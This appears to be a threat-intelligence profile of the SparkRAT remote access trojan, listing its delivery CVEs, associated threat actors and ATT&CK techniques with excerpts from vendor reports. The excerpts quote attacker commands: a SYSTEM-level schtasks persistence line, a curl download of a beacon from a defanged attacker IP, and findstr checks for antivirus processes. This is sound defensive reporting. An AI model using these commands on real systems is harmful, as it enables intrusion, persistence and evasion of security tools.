SparkRAT
- Type
- RAT
- Capabilities
- ExfiltrationPersistencePost exploitationReconnaissance
- Delivery
- PhishingLure
- Platforms
- WindowsLinuxmacOS
SparkRAT is an open-source remote access trojan written in Go that supports Windows, Linux, and macOS. It provides remote command execution, file and process management, system-information collection, screenshot capture, information theft, and downloading of additional payloads. It communicates with command-and-control infrastructure over WebSocket and includes an automatic update mechanism. Its publicly available source code has enabled adoption by multiple unrelated threat actors.
SparkRAT has been deployed following exploitation of internet-facing enterprise applications, including Apache ActiveMQ through CVE-2023-46604, JetBrains TeamCity, and BeyondTrust remote-access products through CVE-2026-1731. Other distribution campaigns have used trojanized VPN installers that execute legitimate setup programs alongside malware, as well as phishing lures exploiting CVE-2024-43451. Observed Windows deployments establish persistence through automatically starting services, scheduled tasks, or startup-folder execution. Some multistage delivery chains inject and reflectively load SparkRAT into legitimate processes.
SparkRAT is a characteristic tool of DragonSpark, an intrusion cluster targeting organizations in East Asia. It has also been used by Houken and in a Ukraine-targeting campaign associated with UAC-0194. Additional deployments have targeted individuals and organizations in Cambodia and users of Korean-language VPN software, including users in China. These separate campaigns demonstrate broad operational use rather than exclusive association with a single actor or industry.
Associated vulnerabilities
5 CVEs Mallory has correlated with this family across public research and vendor advisories. Each card links to the full Mallory page for that vulnerability.
Associated threat actors
9 distinct threat actors Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.
The other files detected exploiting the new vulnerability followed a similar attack scenario that ended with the installation of Redline Stealer malware. The similarity has two possible explanations: 1. One attacker using different types of malware (the initial file installs SparkRAT malware).
The following public tools were observed on the victims’ network... SparkRAT.
Sandbox family search for family:sparkrat . Returned a per-victim SparkRAT sibling submitted independently to the sandbox. Its ldflags COMMIT differs from the case sample. Confirms the operator uses per-target SparkRAT builds.
...Leslieloader that downloads a backdoor dubbed SparkRAT. The Go variants are compliant with Windows, Linux and OSX. They support file upload and download, system fingerprinting and direct command-line interaction with infected hosts.
"...including CurlBack, SparkRAT, AresRAT, Xeno RAT, AllaKore, and ReverseRAT."
The attacks are characterized by the use of the little known open source SparkRAT and malware that attempts to evade detection through Golang source code interpretation.
+3 more in the app. View in Mallory
Techniques & procedures
43 distinct techniques documented for this family, organized by ATT&CK tactic.
Initial Access
3 techniques
Initial Access
CVE-2026-1731, an unauthenticated OS command injection vulnerability in BeyondTrust Privileged Remote Access and Remote Support... Threat actors used it in targeted initial-access campaigns.
it seems that the threat actor attacked the development company and distributed installers with malware strains
CERT-UA shared technical information with ClearSky regarding the email sent to the target to launch the attack chain. The lure email message is sent from a Ukrainian government server. The message body includes a demand to renew the academic certificate, as the current certificate is allegedly about to expire.
Execution
10 techniques
Execution
Furthermore, the malware is registered in the task scheduler to ensure it will be executed even after system reboots.
"schtasks /create /tn \"TaskHandler\" /tr \"C:\Drivers\mQm\F7u00ex.exe\" /sc ONSTART /ru \"NT AUTHORITY\SYSTEM\" /rl HIGHEST"
It provides features to control the infected system such as executing commands
We observed the executable binary java.exe under the TeamCity directory deploying a PowerShell command to download and execute a batch file named win.bat.
A cmd.exe process is spawned by java.exe out of the respective Apache ActiveMQ application folder.
The vulnerability, tracked as CVE-2026-1731, is an operating system command injection flaw ... The flaw allows an attacker to execute arbitrary commands on a server without the need for credentials or any user interaction.
Using programming language Autolt to execute SparkRAT malware.
When examining the URL file, ClearSky’s team exposed a new vulnerability, unrelated to the two vulnerabilities mentioned above: Right clicking the file establishes a connection to an external server.
L'exploit permet à des acteurs malveillants de prendre le contrôle d'un système par un simple clic droit sur un fichier malveillant.
The vulnerability is exploited by generating a URL file that can be activated using the following non-standard actions: 1. A single right-click (in all versions of Windows). 2. Deleting the file by using the delete button (only in Windows 10/11). 3. Dragging the file to another folder.
Persistence
5 techniques
Persistence
Furthermore, the malware is registered in the task scheduler to ensure it will be executed even after system reboots.
"schtasks /create /tn \"TaskHandler\" /tr \"C:\Drivers\mQm\F7u00ex.exe\" /sc ONSTART /ru \"NT AUTHORITY\SYSTEM\" /rl HIGHEST"
The native sc.exe tool is used to create a service to establish persistence for the SparkRAT payload.
“Unit 42 confirmed the flaw is being actively exploited for… backdoor installation…”
Creating an additional layer of persistence by copying file SyncWave360[.]js to the startup folder.
Privilege Escalation
7 techniques
Privilege Escalation
Furthermore, the malware is registered in the task scheduler to ensure it will be executed even after system reboots.
"schtasks /create /tn \"TaskHandler\" /tr \"C:\Drivers\mQm\F7u00ex.exe\" /sc ONSTART /ru \"NT AUTHORITY\SYSTEM\" /rl HIGHEST"
The campaign included "process injection" and moved code through "vssvc.exe, ctfmon.exe and svchost.exe," with SparkRAT injected through later stages.
The attackers escalated privileges, exfiltrated data and dropped payloads including SNOWLIGHT, SPARKRAT and cryptominers.
The native sc.exe tool is used to create a service to establish persistence for the SparkRAT payload.
“Unit 42 confirmed the flaw is being actively exploited for… backdoor installation…”
Creating an additional layer of persistence by copying file SyncWave360[.]js to the startup folder.
Stealth
8 techniques
Stealth
Then a file named Learn[.]cmd is dropped and executed. The CMD file includes commands encoded by adding garbage strings and using several variables that, when put together, create the commands.
The report identifies "PNG-staged payload files," including "56360VK1ES8.yvap," "BssBfeFFoA3A.nz," "cnV.rb," and "d7zzQhzRglBv.es."
The loader then extracts encrypted stages from several PNG-formatted files... It decrypts its embedded configuration using AES-CTR.
The campaign used an Inno Setup executable disguised as a Cambodian government document: "Cambodian Government Notice on COVID-19 Prevention and Control (July 7).docx.exe."
The campaign included "process injection" and moved code through "vssvc.exe, ctfmon.exe and svchost.exe," with SparkRAT injected through later stages.
File and process manipulation: including process termination as well as file upload, download, and deletion.
The commands carried out by file Learn[.]cmd: • Tasklist[.]exe – listing all tasks running on the system. • findstr /I avastui.exe avgui.exe nswscsvc.exe sophoshealth.exe – checking for installed AV engines. • findstr /I "wrsa.exe opssvc.exe" – checking for additional security components.
The payload recovered from d7zzQhzRglBv.es is injected into ctfmon.exe. The primary routine is to reflectively load an embedded PE payload into memory... identified it as SparkRAT.
Defense Impairment
2 techniques
Defense Impairment
Most malware samples had certificates disguised as valid ones from this company. There were also multiple samples signed with valid certificates.
The malware used ardrv.sys "to terminate security-related processes, including Microsoft Defender components" and created Defender exclusions for VSSVC.exe, ctfmon.exe, C:\Drivers, and C:\Windows\System32.
Credential Access
1 technique
Credential Access
La faille de sécurité « CVE-2024-43451 » est une vulnérabilité de divulgation de hash NTLM par usurpation d'identité, qui peut être exploitée pour voler le hash NTLMv2 de l'utilisateur connecté en le forçant à se connecter à un serveur distant contrôlé par un attaquant.
Discovery
4 techniques
Discovery
SparkRAT provides basic features commonly found in RAT malware, such as executing commands, stealing information, and controlling processes and files.
SparkRAT spawns a child process of cmd ver (T1082 – System Information Discovery).
SparkRAT provides basic features commonly found in RAT malware, such as executing commands, stealing information, and controlling processes and files.
The commands carried out by file Learn[.]cmd: • Tasklist[.]exe – listing all tasks running on the system. • findstr /I avastui.exe avgui.exe nswscsvc.exe sophoshealth.exe – checking for installed AV engines. • findstr /I "wrsa.exe opssvc.exe" – checking for additional security components.
Lateral Movement
3 techniques
Lateral Movement
Key initial access vectors include ... Exposed Outlook Web Access (OWA) and VPN infrastructure
The URL refers to an external server on IP address 92[.]42.96.30 using the SMB protocol (file://), to access two EXE files with similar names.
The vulnerability ... allows threat actors to execute arbitrary code by abusing the OpenWire protocol implemented by ActiveMQ.
Collection
1 technique
Collection
collecting information from the infected system like by taking screenshots
Command and Control
5 techniques
Command and Control
The malicious installer connects to the C&C server and downloads encrypted configuration data.
SparkRAT then sends a basic victim fingerprint back to its C2 via HTTP POST request ... (T1071.001 – Application Layer Protocol: Web Protocols).
The beacon was downloaded using the command curl hxxp://83[.]97[.]20[.]141:81/beacon.out -o .conf.
Microsoft researchers also identified a sample that can run on Windows based on a cross-platform (Linux, Windows, macOS) open-source remote administration tool (RAT) with various features such as managing processes, file operations, screenshotting, and running commands.
The configuration specifies "secure": true... [and includes] a 256-bit cryptographic key used during communication.
Exfiltration
1 technique
Exfiltration
The attackers escalated privileges, exfiltrated data and dropped payloads including SNOWLIGHT, SPARKRAT and cryptominers.
Impact
2 techniques
Impact
File and process manipulation: including process termination as well as file upload, download, and deletion.
The attackers... dropped payloads including SNOWLIGHT, SPARKRAT and cryptominers.
Observables
82 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
Recent activity
54 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.